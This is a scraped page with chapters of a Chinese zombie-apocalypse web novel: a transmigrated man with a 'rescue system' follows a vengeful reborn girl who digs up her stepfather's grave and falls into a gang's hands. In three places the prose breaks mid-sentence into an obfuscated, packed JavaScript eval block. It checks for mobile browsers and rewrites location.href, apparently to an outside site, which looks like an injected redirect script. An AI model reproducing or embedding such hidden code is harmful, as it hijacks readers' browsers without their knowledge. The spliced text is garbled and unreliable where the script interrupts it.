桑淮会去燕回博物馆的,因为如果要前往殷乔所在的海晏区的话,燕回山是一条不错的捷径。 虽然杀不了他,但桑寄月还是想给他找点麻烦。 “不会是我吧?”盛星舟一秒警惕。 桑寄月瞥了他一眼:“他要是你就好了……” 如果桑淮也像这蠢货一样好拿捏就好了。 说话间,他们已经走到了停在角落里的黑色跑车。 盛星舟之前把整个燕城的地图都背过一遍,他虽然没去过燕回博物馆,但知道具体的位置,此时开口:“开车的话可能会堵车,要不我们换个出行方式?” 这里到燕回博物馆还是有挺长一段距离的。 桑寄月看了眼那辆车,颔首。 盛星舟注意到她的目光:“你对这辆车很有感情吗?” “这不是我的车。”桑寄月收回目光:“走吧。” “是谁的车?”虽然盛星舟并不好奇,但难得桑寄月今早肯多和他说两句话。 桑寄月不理人了。 盛星舟也不生气,看日头这么大,他还摸了一把伞出来,遮在了桑寄月的头顶。 旁边忽然贴近的身躯惹得桑寄月脚步顿了一下,她只警告:“别碰到我。” 盛星舟撇嘴:“你是冰块啊我想碰你。” 走出民宿的范围,街道上游荡着几只丧尸,盛星舟左顾右盼,寻找着他们新的交通工具。 片刻后,他眼睛一亮。 …… 在御水湾休整了一日之后,江望曦与桑淮不约而同的继续出发,桑淮主动提出组队同行,他打算在附近找一下桑寄月。 江望曦也不想像个无头苍蝇一样到处乱找,便同意了桑淮的组队。 从地下车库里开出了一辆线条流畅的汽车,桑淮坐在驾驶位上,驱动着车辆往偏僻的区域找。 毕竟现在外面丧尸成群,只要桑寄月脑子没坏,就不会跑到主街道待着。 桑淮一边观察着路况,一边问江望曦:“曦哥,你是怎么来的燕城?” “直升机,临时开了条航线出来。”江望曦看着窗外倒退的景象。 桑淮有些诧异:“就为了找小月么?” “是呢,你知道的,小月对我很重要。” 说话间,他们驶入一条幽静的街道,路面上倒着几具丧尸的尸体,不是脑袋被打歪就是被开了颅,死状凄惨。 江望曦的目光一扫而过,一抹黑色映入眼帘,他的眼睛立刻亮了起来,让桑淮将车开过去。 桑淮将车停好,瞥了眼:“那不是你的车么?怎么会在这?” 有江望曦家钥匙的也就桑寄月,但总不可能是桑寄月将车开了过来吧?她长这么大唯一碰过的车就是碰碰车。 江望曦看了眼车内,车里粘着丧尸的血,还有几根黄色的狗毛;他又去了这后面的民宿察看情况,发现了有人生活过的痕迹。 只是……似乎是两个人。 桑淮跟过去看了一眼,淡声开口:“看来是有人带走了小月,还开走了你一辆车。” 目测还是个男人。 江望曦盯着收拾整齐的房间,眼神幽深。 小月是……和谁组队了吗? 谁能入得了她的眼? 或者还是如桑淮所说? 无论如何,一切本该按照轨迹发展的事,都在开始失控。 正在这时外面又传来了一阵脚步声,江望曦冷漠的看过去,就见此次与他一同来燕城的薛铮走了进来。 薛铮是特种部队出身,身手极好,名义上是负责他的安保工作,实际上更像是一种监视。 毕竟他能来燕城,用的可不是来找桑寄月的这种儿女情长的理由。 薛铮看见江望曦安然无恙,松了一口气,避开桑淮,和他去了一旁说话:“江医生,军方那边已经在问你什么时候前往安全区,我传过去的消息,是我们昨天就该抵达幸存者基地。” 结果一下直升机,江望曦就跑来了静安区,说是要找人。 江望曦声音冷淡:“明早折返。” 燕城的幸存者基地搭建在南山监狱,那里易守难攻,非常安全,但南山监狱所处的位置非常偏僻,从市区过去都要半日的车程,更遑论此时街上都是丧尸。 车子还在这里,江望曦是觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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走出一段路后,桑寄月有些受不了这龟速,终于忍不住开口:“都怪你,这样下去得晚上我们才能到博物馆了。” 盛星舟:“为什么怪我。” 明明是桑寄月自己把她那辆车撞散架了。 “你太沉了。”桑寄月冷漠的说:“如果没有你在拖后腿,我早就到了。” “没有我的话你现在可能在路上暴走。”盛星舟提醒她:“这是我的车。” 桑寄月撇了下嘴,并不反省:“现在是我的,拖油瓶。” “嗯嗯嗯,月姐你人真好,竟然肯带着我。” 她很快回答:“你知道就好。” 走完这段路后,桑寄月拐进一条小路,这里倒是没有那么拥堵了,小电驴平稳行驶着,带过一阵清凉的风。 四周只剩下了风声与车轮碾过路面的声音,安静得好似他们只是在郊游的途中。 盛星舟不用打丧尸了闲得无聊,从空间里翻出了一包薯片咔嚓咔嚓的吃了起来,惹得桑寄月回过头看了他一眼。 他立刻伸手,想殷勤的喂她一片,被她用手肘撞掉。 嗯,还是很嫌弃。 11. 公墓 抵达目的地的时候已经是傍晚,七月份是旅游旺季,博物馆聚集着至少有二十只丧尸左右,慢悠悠的晃荡在展台前,像是和生前一样在逛博物馆一样。 盛星舟只看了一眼就很有自知之明的留在了外面,桑寄月倒也没让他闲着,要他在半山腰的位置扎个帐篷,得能看见山脚的那座博物馆。 天色渐渐暗了下来,盛星舟还没穿书之前就喜欢满世界乱玩,野外生存知识丰厚,扎个帐篷对他来说不是什么难事。 等到将住处都收拾齐整后,盛星舟在周围巡视了一圈,将几只游荡的丧尸清理掉后,从空间里摸出卡式炉和锅,开始研究起食谱来。 滚烫的热气氤氲腾升着,被晚间清凉的风吹散,盛星舟听见了少女轻快的脚步声,熟悉的身影映入眼帘。 她左手拎着一把匕首,匕首没有套上鞘。月光撒下时落在匕身上,折射出锋利的白芒,险些晃了盛星舟的眼睛。 桑寄月表现得很喜欢她的新武器,坐在折叠椅上的时候都还在把玩那把匕首。 盛星舟好奇得多看了两眼,刀锋实在是锋利,他忍不住说:“月姐,别玩了,当心割到手。” “你也觉得它很锋利吗?”少女素白的指尖落在光滑银白的匕身上,轻轻划过,她叹了一声:“好想让它见血。” 见桑淮的血。 盛星舟听了眼皮一跳,下意识的拿过折叠桌上的匕首鞘往匕首上一套,桑寄月幽幽的看着他,他严肃的说:“该吃饭了。” 桑寄月不太抱希望的看了一眼,这次终于不是泡面了,盛星舟蒸了饭,还炒了几个菜,卖相看着还行,就是不知道味道怎么样。 盛星舟摸不太准桑寄月的口味,之前给她什么她都吃,只是都吃得不多,他今天翻了半本菜谱,多做了两道菜,想要试探一下她的口味。 不过桑寄月显然没有给他这个机会,三菜一汤全部都尝了一遍,吃了小半碗饭,就放下了碗筷,去了附近遛狗。 盛星舟收拾完碗筷之后去找她,发现她正坐在一处矮坡,大福在她旁边追蚊子,她手里则是拿着一只望远镜,搭在脸上往山下看。 只是现在燕城已经全面断电,俯视而下看见的也只是一片昏暗,好在今晚月明星稀,光芒皎洁,勉强能看清这座已是满目疮痍的城市。 盛星舟随着桑寄月的目光看过去,只隐约看见一座隐在黑暗中的建筑物:“你看什么呢?” 桑寄月放下望远镜,随意的瞥了眼漆黑天幕上点缀的繁星,敷衍回答:“看星星。” 盛星舟见桑寄月最后将目光落在了他的脸上,他似乎明白了什么,一脸高兴的说:“你竟然知道我的小名叫星星吗?” 一声蠢货就要脱口而出,但桑寄月从来只在心里骂人,她问了句:“你叫什么星来着?” “不是吧,我们认识这么久,你还不知道我的名字吗?” 那之前还一口一个哥哥喊得亲热。 虚伪的小姑娘。 桑寄月记得他说过,只是她不记得了,因为没有必要记住。不过现在的话……他如果再说一遍,她会好好记住。 他也没有去谴责什么,只是说:“我叫盛星舟,下次忘了再问我。” 桑寄月“嗯”了声,也不知记住了没。 半晌,桑寄月又说:“我不是在看你,我是在看天上的星星。” “我知道。” 知道你还装。 桑寄月轻哼了一声。 现在的城市高楼林立,晚上基本上是看不到什么星星的,但现在末世来临,一切污染环境的行为都被迫中止,也不过短短几天时间,阴霾散去,天空焕然一新。 听着耳畔盛星舟的感慨,桑寄月语气没什么起伏的说:“没那么快,能看见星星是因为我们在山上。” 桑寄月对于美好毫无感念。 “那看来未来天上会都是星星。”盛星舟笑眯眯的回答。 “你又没见过未来。” “不用见我也能想象得到。”盛星舟自信回答。 毕竟在他的眼中,这里是小说世界,一个小甜饼的结局必然是美好的,未来充满希望,人类有无限可能。 盛星舟想着,忍不住偏过头去看又开始拿着望远镜看着山下的桑寄月。 似乎除了……桑寄月。 她的结局不太好。 不过没关系,他来这里的意义就是改变她的结局。 桑寄月举着望远镜手都举酸了才放下,她问:“你想象的未来是怎么样的?” 恰好她重生而来,未来十年会发生的事情她都清楚,如果盛星舟说对了的话,算他聪明。 “你想要怎样的未来?”盛星舟问。 桑寄月思索了一下,抿唇微笑:“或许是完成我妈妈的遗愿吧,她希望我健康平安的长大。” “我想象中的未来是桑寄月健康平安的长成大姐大罩着我。” 桑寄月偏过头去看了他一眼,这家伙正笑容灿烂的看着她,她分不清他说的究竟是玩笑还是真话。 不能确认的话,通通都当成玩笑好啦。 桑寄月兴致缺缺的收回目光。 在山坡上吹了会晚风,蚊子多得很,一开始只是大福在扑蚊子,后来蚊子多了,盛星舟就拿着扇子拼命扇。 桑寄月按住被吹乱的碎发,起身回了帐篷,盛星舟扎了两顶帐篷,她走进其中一间,准备休息。 大福趴在帐篷门口,替她守夜。 几日的时间一晃而过。 盛星舟过上了在山里“隐居”的生活,天天不是研究菜谱就是抓蚊子,过得特别充实,反观桑寄月,除了拿着她那副望远镜观察山下那座博物馆之外,就窝在帐篷里,每天的乐趣就是听盛星舟和她说话然后她不理他。 这天吃完了晚餐之后,盛星舟刚在附近的小溪把碗筷洗干净,折返的时候就见桑寄月兴奋的朝着他招了招手。 盛星舟有些纳罕的走过去,桑寄月便将望远镜往他手里一塞,开心的说:“看,你的同学进去了。” 透过镜片,盛星舟看见了一道高大的身影,迈入博物馆中消失不见。 那谁? 桑寄月脸上的笑容淡了一些:“你不认识吗?” “这谁啊?” “桑淮。”桑寄月审视的看了眼盛星舟,然后说:“这末世刀可比棍子要好用得多,当然最好用的还是枪,不过现在我们都拿不到。” 这小姑娘说话不肯好好说,盛星舟想了一下才反应过来:“你是说桑淮也是来找这把匕首的吗?” 桑寄月咧嘴一笑:“是呢,所以我特地给哥哥准备了礼物哦,我可爱的小伙伴们会好好招待他的。” 做坏事的时候桑寄月那张没什么表情的脸上,会有非常生动的表情。 只是前所未有的古怪自心底腾升而起,盛星舟明白,若是他能想明白这是怎么一回事,从初见开始桑寄月表现出的奇怪的地方,都能够找到答案。 “可你们现在不是……”盛星舟想说他们现在的关系不该糟糕成这样,但他想起之前在别墅里的时候他主动提起桑淮时,桑寄月骤然失控,他又识趣的闭嘴了。 桑寄月从不关心盛星舟的欲言又止,望远镜看不到博物馆内部的情况,但她完全可以想象得出来桑淮此时的狼狈。 这只是开始。 她平静的眸子里是浓重的厌恶。 桑寄月特地亲自跑下山把博物馆的门牢牢锁上,从傍晚到翌日清晨,那扇门里都没有人能走出来。 盛星舟耳聪目明,夜晚万籁俱寂时,除了蝉鸣的声音,他还能隐约听见沉 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他们此时正在青州区的边缘,这附近的环境很是清幽雅致,人烟极其稀少,寸土寸金的青州公墓就在这附近。 这附近没什么店铺,盛星舟找了一圈,很快找到了一家小旅馆,打算今天和桑寄月在这里休息。 将旅馆里的丧尸清理掉后,盛星舟飞快打扫好了一间房,正要去隔壁帮桑寄月的时候,却没看见桑寄月的影子,只有大福正在埋头吃狗粮。 盛星舟里里外外找了一圈都没有找到桑寄月的影子,正好吃完狗粮的大福过来咬着他的裤脚,带着他往外走。 狗鼻子可比他的鼻子灵敏得多。 盛星舟在青州公墓找到了桑寄月。 少女背对着他,安静的坐在一座坟墓前,惨白的月光撒在她单薄的身影上,让她显出几分脆弱。 当然,这一切都得忽略她左手捏着的那把还带着土的铁锹,以及坟墓旁边那挖了一半的大坑。 黑夜,少女,挖坟。 盛星舟的面色一变再变,一时不敢上前,怕桑寄月忽然变成鬼。 毕竟在小说世界里一切皆有可能。 狗的胆子比盛星舟的胆子大得多了,摇着尾巴就去桑寄月旁边撒娇。 挖坑挖到一半中场休息的桑寄月撸撸狗头,她的声线天生柔和,语气乖巧:“妈妈,大福也来看你啦。” 盛星舟确认了桑寄月不会变鬼后才上前,他看着那个坑,脸色不太好看。 “月姐……” 桑寄月看了他一眼:“你也来了啊。” 她说着话,站起身,左手还拎着那把铁锹,泥土被抖落,铁锹尖锐的尾部似乎都在折射着冷光。 “你这是要……” 把自己埋了吗? 盛星舟其实不太敢这样问,他怕桑寄月把铁锹捅他脖子里。 “我记得你说过,什么都愿意为我做。”桑寄月走到那个大坑旁边,跳了进去:“现在我给你这个机会。” 盛星舟惊恐后退:“我不可能帮你把自己埋了。” “我不是这个意思。”桑寄月听了,眉头微皱,回答道。 “那你是想把我埋了?”盛星舟想着这几天他也没惹她吧,都快成奴才了,他想到某种可能,一时更害怕了:“你不会是想和我一起被埋吧?” 还是那句话,小说世界万事皆有可能。 桑寄月将铁锹插进松软的土壤里,在妈妈的面前,她微笑着,声音保持着温柔:“妈妈旁边的位置应该是我的,而不是这个蛀虫,你帮我把他挖出来。” 埋在桑寄月母亲旁边的人……或许是她的继父吗? 系统七四的声音适时响起:“恭喜宿主,终于触发关键剧情,相关剧情已解锁,是否察看剧本?” 12. 妈妈 【车祸发生的时候,七岁的桑寄月坐在后排驾驶位的后面昏昏欲睡,手里还抱着一瓶温热的牛奶,是妈妈给她准备的。 她不爱喝牛奶,但妈妈说今晚破格让她喝草莓味的牛奶,她还在长身体,要补充很多很多的营养,才能将这具孱弱的身体养得健康。 副驾驶上的桑晩榆正在与继父沈颢眀说些什么,优雅从容的女士声音难得微微拔高,似乎很生气。 快要睡着的桑寄月睁开眼,刚喊了一声“妈妈”,就见车子陡然颠簸,迎面是疾驰而来的大货车,危急关头,沈颢眀猛地转动方向盘,副驾的半边车头撞在粗壮的大树上,车头粉碎,玻璃飞溅,副驾上的人面目全非。 桑寄月看见了那颗歪过来的脑袋,与一张血淋淋的脸。 她最先发出尖叫,然后便失去了意识。 孱弱的身体受到了过度的惊吓,无法支撑她的清醒。 再醒来时,已经是一个月后。 睁眼时,桑寄月看见妈妈坐在床边对她笑。 妈妈以前总是很忙,可是自她醒来,她终于每天都能看见妈妈了。 桑寄月超级开心。 直到那个雨天,教堂里,神父祷告着,前来参加葬礼的人们缄默着,笑得很开心的桑寄月被家庭医生抱了出去,一遍一遍的告诉她她产生了幻觉,桑晩榆已经死了一个多月了。 她被喂下了不知名的药片。 妈妈不见了。 桑寄月愣了好久,然后疯了一样的将卧室里的所有东西,都砸在那对父子的身上:“是你害死了妈妈!” 没有人信她,除了江望曦。 被关在卧室里的桑寄月哭着对他说:“哥哥,就是、就是叔叔害死了妈妈,那天沈叔叔喝了酒……他不清醒……” 没有人能证明桑寄月的话,行车记录仪也在车祸中被毁坏。 她找回了被毁坏的行车记录仪,请求江望曦帮她修复,在她心里,哥哥无所不能。 少年如约帮她修复好行车记录仪,车祸当日的画面重现,沈颢眀行车的确有风险,与桑晩榆争执时,也没有看见迎面开来的货车。 直到快要撞上时,求生本能作祟,他转动了方向盘,保全了他自己。 这代表不了什么。 他们也什么都做不了。 沈颢眀作为配偶,继承了桑女士的所有财产。 桑寄月愤怒,又无能为力,妈妈是独生女,爷爷奶奶年纪大了,他们也需要沈颢眀来稳定集团大局。 在桑寄月眼中,这对父子是丑恶的蛀虫。 妈妈说她是因为爱情结婚的,沈颢眀很爱她,爱到可以入赘,也可以将儿子改姓桑,要桑淮永远保护妹妹。 …… 关于那场车祸,沈颢眀和桑淮说过无数次那只是意外,但他的确亏欠桑晩榆,也亏欠桑寄月。 天灾已至,沈颢眀不幸感染尸毒。 意识消弭之前,沈颢眀见到了他的儿子,他要桑淮守诺,永远保护妹妹。 桑淮厌恶父亲过往的作为,但他会完成父亲的遗愿。 只是他没想到的是,桑寄月后来会成为他挥之不去的噩梦,孱弱邪恶的菟丝花死死地攀附着他,要让他为了多年前的那桩可笑旧事陪葬。】 纵然如今的桑寄月与剧情里的桑寄月不太一样,但七四给出的剧情不会有错,必定是真实发生过的。 盛星舟终于明白桑寄月为什么会那样骂桑淮了。 桑淮口口声声厌恶他父亲的所作所为,却心安理得的享受着优渥的生活。 桑寄月看盛星舟一直不说话,忍不住皱起了眉头。 她上辈子就知道桑淮那个烂人把他那个烂人爸爸埋在了她妈妈的墓旁边,她恨得牙痒痒,却没有办法。 如今重生,她一定不容易沈颢眀再留在妈妈旁边。 这个位置以后她要躺。 桑寄月拔出铁锹,继续面无表情的挖土。 盛星舟猝然回过神来,他站在土坑旁,朝着桑寄月伸出手:“我帮你。” 桑寄月将铁锹递给他。 盛星舟轻巧的握住了她的手腕,将她从土坑中带了出来,然后才接过她手中的铁锹,颇费了一些时间才刨出那具被砍掉脑袋的丧尸尸体。 桑寄月踮着脚去看,盛星舟伸手挡住了她的目光,声音温和:“别看,上面都是蛆。” “他活该。”少女咧着嘴笑得很开心:“他就是从里到外的烂人。” “烂透了。”盛星舟赞同,柔声道:“这里交给我,你先回旅馆,房间我已经收拾好了,还烧了热水,你可以先洗澡,等我回去给你做饭吃。” 桑寄月反手摸出那把匕首:“我要把他剁碎。” “他已经死了,但有人还活着。”盛星舟想起剧情里最后一段话,就对桑淮气不打一处来。 桑寄月没想到盛星舟会这么说,她嘴角笑意更深:“你说得对。” 少女和妈妈道别后,带着她的狗,一蹦一跳的离开墓园。 她看起来很开心,发尾都张扬着。 目送桑寄月的背影消失,盛星舟才把深坑里的那具尸体拖出来。他单手拎着那条腐烂的腿,带动着整具身体,往杂草丛生的角落里走去。 四周安静下来,只有男人挥动着铁锹挖土的声音,听着有些阴森骇人。 盛星舟不再恐惧。 …… 回到旅馆的时候桑寄月已经准备好了晚餐,她泡了面,给破天荒的主动给盛星舟泡了一桶。 盛星舟先飞快的用冷水冲了个澡,看她百无聊赖的等着他,他坐在了她的对面,问:“真的就吃这个吗?” “很晚了。”桑寄月打了个呵欠:“快点吃完睡觉。” 盛星舟看了眼:“可是你不是不喜欢吃辣么,怎么泡的辣的面?” “我哪里不喜欢了?”桑寄月反问。 “我以为你的口味偏向清淡。”给她做了几天饭,盛星舟多少也能摸索出来。 桑寄月拨开汤上的一层辣油,回答道:“我胃不好,所以不能经常吃辣,但并不代表我口味清淡。” “那你吃了不会胃痛吧?” “没关系,我有胃药。” 盛星舟看过她的小书包,里面堆着很多白色的小瓶子,上面贴的标签都是英文,都是专业术语,他也看不懂,只能知道都是药。 他记得看到的那段剧情里桑寄月会幻视,之前她还给他喂安眠药,他不禁发散思维了一下,越想越可怕。 恰巧桑寄月吃了半桶面就往他面前一推,从书包里摸出几只白色的小药瓶,挨个倒了一片,仰头咽下去。 盛星舟心中一沉:“你怎么又吃药?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16044966|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是又犯病了吗?是什么病? 之前还在燕回山的时候他好像就看到过她在吃药,只是频率不高,他就没有在意,但现在却感到害怕。 如果桑寄月生病的话他也不会看病啊,现在学医还来得及吗? 桑寄月感到莫名,本来不想理的,但她看着神情严肃的盛星舟,还是开口:“维生素,今晚吃得没营养,我提前补补,有备无患。” “你没骗我吧?”盛星舟担忧的说:“你有病的话告诉我也没关系的。” 桑寄月额角跳了跳,有些恼火,毕竟谁被说有病都不会开心的,她忍了忍,说道:“我已经很多年没有发病,你放心。” “那要是发病了怎么办啊?” 上辈子她早早就被迫断了精神类的药物,她也习惯了妈妈会偶尔出现,但桑寄月觉得她已经好了。 不过听盛星舟问,她故意吓唬他,非常恶劣的说道:“那你就等着被我一刀捅死吧,我超凶的。” 盛星舟松了口气。 她不会自残就什么都好。 桑寄月却瘪着嘴看着他,似乎对他的反应不太满意。 她最近是不是太和颜悦色了一些,盛星舟好像都不怕她了。 两人各怀心思,吃完了晚餐之后便各自回了房间。 盛星舟累了一天了,几乎是一沾枕头就睡着了,正是昏昏沉沉的时候,忽然听一阵嘹亮的犬吠。 盛星舟立刻清醒。 大福会这么叫,只能说明一件事。 桑寄月出事了。 房门被桑寄月反锁着,盛星舟一脚踹开,就见大福正在焦急踱步,而床上却空无一人。 桑寄月……不见了? 不对。 盛星舟反应过来,立刻拉过一边衣柜的门,衣柜里没有衣服,只有蜷缩着身体的少女,她睁着眼,双眸空洞,大颗大颗的泪珠从眼眶滚落。 她嘴里念着什么。 他凑近了才听清楚,她在喊妈妈。 应该是今天去了桑女士的墓前,勾起了她不好的回忆。 桑寄月犯病时不凶不闹,只是不停的掉眼泪,盛星舟按住她的肩膀,止住了她不受控制的轻颤。 桑寄月迷茫的看着他。 “阿月,你是不是该吃药?”他有些手足无措,但还算冷静,伸手去够书包,将里面的药瓶都翻出来。 桑寄月如梦初醒一般的呢喃:“对,妈妈也让我吃药。” 她娴熟的摸到一个药瓶,但里面已经空了,是末世前就吃完了没有补货。 她吸了吸鼻子,又开始掉眼泪。 盛星舟拿过来看了眼,他看不懂上面的英文,但医院里一定有桑寄月需要的药。他一边飞快的记下那些药的标签,一边说:“这附近就有医院,我去给你找药,你好好睡一觉,我很快就回来。” 桑寄月不说话,只是看着某个地方,一直在哭,还是像刚才一样在喊妈妈。 盛星舟的心揪成了一团,他把桑寄月抱了起来,带到隔壁房间的衣柜里,关上衣柜门后又关好房门,便冲了出去。 时间一点一点的推移。 桑寄月看着黑暗中那张惨白的、血淋淋的脸,伴随着狰狞的、奇形怪状的鬼影朝着她扑来,几近崩溃,她猛地推开柜门,往外跑去。 一直守着她的大福连忙跟上她。 13. 任务 附近是一家高档的私立医院,医院里的丧尸数量虽然不多,但夜晚正是丧尸群亢奋的时候,盛星舟几乎是刚从窗户爬进去,就被丧尸闻到了。 免不了又是一场恶战。 等到他浑身是血从医院走出来的时候,天空泛出一丝鱼肚白,已经快要天亮。他甩了甩酸软的手臂,想着要不他也不用棍子了,用刀好像是会方便点。 盛星舟想着,大步往旅馆的方向跑去。 在他没有刻意去关心好感度的时候,桑寄月对他的好感提升了一些,目前为5,空间跟着扩展了5平米,被盛星舟全部用来塞各种药品了。 他回去的时候天都还没有完全亮,旅馆里安静得没有一丝声音,盛星舟莫名有些不安,跑上楼一看,房门大开,衣柜里空无一物。 桑寄月不见了。 盛星舟的第一反应是桑寄月把他甩了,友谊的小船说翻就翻,那个小姑娘翻脸特别快。 但他又觉得他也不是那么毫无价值,于是去隔壁房间一看,桑寄月的小书包和匕首都在,她没有带走,甚至衣柜里还有她没有套上的鞋子。 如果不是刻意丢下他,那她会去哪? 盛星舟有些茫然,他飞快的收拾好桑寄月的物品,然后出门找人。 这样折腾了一圈后已经天亮,但桑寄月没有留下任何踪迹。 他的心中不免升起恐慌,这一路上他只知道她要去海晏区,除此之外她想做什么,他什么都不知道,自然也无法推断出她的下落。 毕竟如果只是因为生病跑出门,也该是在这附近。 盛星舟发现他其实并不了解桑寄月。 她藏着许多未曾揭开的过往。 盛星舟叹了口气,继续往远处搜寻,但找了一圈也没有找到,他又想着桑寄月会不会自己回家了,便又匆忙折返。 旅馆里空无一人。 但桑寄月的那只狗坐在门边,友好的摇晃着尾巴,安静的看着他。 七四开心的声音传来:“恭喜宿主触发主线任务,拯救任务正式开始~” 盛星舟愣了下:“什么意思?” 竟然还有主线任务吗? “我是拯救系统,不是攻略系统,宿主不要被好感度带偏了哈,当然了好感度不够的话女配不够信任你,也触发不了主线任务。”七四简略的解释了一下,接着说:“相关剧情已解锁,是否察看剧本?” 盛星舟立刻说“是”,一大段的文字再度涌入他的脑海中。 【桑淮救出了被当成礼物献给青龙帮帮主的桑寄月。 桑寄月被吓坏了,紧紧的攥着桑淮的手臂,仿佛是看到了救星。她脸色惨白,双眼通红,浑身止不住的颤栗,柔和的声线却难掩恨意:“哥哥,他们杀了我的朋友,库房里甚至还有枪,他们连军方都抢,这是一群罪大恶极的人,一定不能就这样放过他们。” 救桑寄月是因为死去父亲的承诺,她一开始并不愿意与他同行,他却还是不计前嫌的找到了她,已是仁至义尽。 看着少女眼中的恨意,桑淮难以分辨究竟是对他的,还是对那青龙帮的,既然难以分辨,他会当成前者。 桑淮掰开她细瘦伶仃的手指,声音冷淡:“小月,你不是想让他们死,你是想让我死。” 他势单力薄,孤身一人,对上商场里的那群人,无异于是自寻死路。 桑寄月没安什么好心思。 一瞬间,也不知是不是因为被他拆穿用心,还是别的什么原因,那苍白阴郁的少女,脸色异常阴沉。 片刻,她又温柔的笑了,乖巧的说:“那我们就走吧,不管他们了。” “现在外面很危险,想要活命,就不该多管闲事。”桑淮意有所指的警告她。 不要多管闲事,不要有坏心思。 他随时可以丢下她。 阴沉扭曲的少女,只会将他人的耐心与关爱踩在脚下,要想让她老实听话,耐心与关爱是没有用的,这一点他很多年前就知道了。】 盛星舟看完之后骂了声傻逼。 或许是因为桑淮才是小说世界的主角,所以这段剧情也是由桑淮视角展开,盛星舟也不能详细知道桑寄月发生的事。 虽然如果是现在的桑寄月…… 危险的应该也是别人。 那么七四给他看的,究竟算是什么呢? 或许是他完全无法从桑寄月身上了解到的过往吗? 又或许是本该发生,但因为某些原因,反而会以另一种形式发生的事情吗? 不过…… 盛星舟想到什么,忽然问:“我要帮桑寄月……杀人吗?” “是的,把他们都杀咯。” 盛星舟:“这么狠?” 不过如果那群人真的都像桑寄月说的那样的话,也的确是死有余辜。 “当然不是,其实我们的主线任务很简单,就是救赎女配,让她少受点苦。”七四说着,又非常官方的道:“本次任务完成后宿主将获得5积分,积分可在系统商城兑换末世道具。” 盛星舟应了一声,然后让大福带他去找桑寄月。 看着昂首挺胸在前面带路的聪明小狗,盛星舟不得不感慨桑寄月真会教。 …… 桑寄月很清楚盛星舟十有八九是找不到她的,不过好在她的身边还有一条有用的狗。 昨晚她跑了很长一段路才清醒过来,脚都磨破了,她憎恶自己的胆怯,可是是妈妈让她跑的,她听妈妈的话。 四周的环境陌生又带着几分诡异的熟悉,桑寄月环顾四周,有丧尸正在黑暗中游荡,只要再靠近,就能敏锐的发现她没有刻意遮掩的气息。 桑寄月正要躲藏的时候,身后商铺的门忽然被推开,一只手将她拽了进去。 大福没能跟着钻进去,在外面不安踱步,只不过丧尸对动物明显没有兴趣,也没有理会它。 商铺外,游荡着密密麻麻的丧尸。 很显然这里已经是尸流密集的主街道。 临时安上的遮光窗帘落下,阻隔了外面密密麻麻的丧尸,室内一片安静,只有一根蜡烛照明,朦胧温暖的橙光让桑寄月一眼就看见了角落里的年轻女人。 那女人木着一张脸,面无表情。 桑寄月的目光有一瞬间的停滞,但是很快,她就收回了目光,用惊惶的眼神扫视过其他人,不安的瑟缩着。 这间商铺里是五男一女,拽着她手腕的男人高大强壮,垂着眼审视着她,像是在看一件廉价却美丽的物品。 外面的丧尸还在游荡,只要让他们听见一点声音,在场的所有人都会被群起攻之,所以他们都很安静得没有出声,直到桑寄月被拽到距离正门很远的角落,她才开始被不断的盘问。 瘦弱的少女哭着说她和她的男朋友被丧尸夜袭冲散,她太害怕了跑了很长的一段路才跑到这里来,如果不是他们,她可能已经被外面的丧尸撕碎了。 压抑的哭声很轻的回荡在这间商铺。 为首的年轻男人看着她那张瓷器一样精美的脸,正要上前哄一哄的时候,那女人忽然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16044967|178966||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上前,蹲在了桑寄月的面前,把她搂到了怀里,轻声哄着,让她别怕。 男人轻嗤了一声,让她们安静点。 这仿佛只是一段小插曲,他们分出两人盯着外面的情况,剩余三人在一旁休整。 桑寄月靠在温暖干燥的怀中,有些躁动的情绪被逐渐抚平。 她认得,这是宋铃。 上辈子从御水湾跑出来后,桑寄月遇见了来找她的桑淮,她请求桑淮和她回别墅救大福,但那时候已经来不及了。 桑淮冷漠的表示他的父亲让他照顾好她。 桑寄月当时的情绪已经崩溃,在一次深夜发病后,妈妈让她快跑,她听话的跑了,然后就像今晚一样,遇到了这群人。 这是驻扎在聚富商城里的青龙帮派出搜寻物资的小队之一,他们先遇到了宋铃和她的妹妹,救了被丧尸围攻了她们。 恰巧宋铃是医生,随身携带着医疗箱,她带着妹妹留在了小队中。 在一个深夜,小队的队长赵立强行与比桑寄月还要小一岁的妹妹发生了关系。 这仿佛是一个开端。 桑寄月记得在这个时间,宋铃的妹妹已经自/杀了。 宋铃情绪崩溃,恰巧桑寄月意外闯入,她就将桑寄月当成妹妹一样照顾,非常尽心。 在即将折返聚富商城的那一天,宋铃握着手术刀捅穿了赵立的脖子,赵立当场死亡,然后又杀了第二个男人。 她存了死志,在发觉她无法再出其不意杀掉其他男人后,不舍又愧疚的看了桑寄月一眼,然后投入了丧尸群中。 桑寄月还是被带回了聚富商城。 在这物资丰厚的商城里生活的可不止青龙帮,还有老弱妇孺,聚集在一楼,成为第一道防止丧尸闯入的防线。 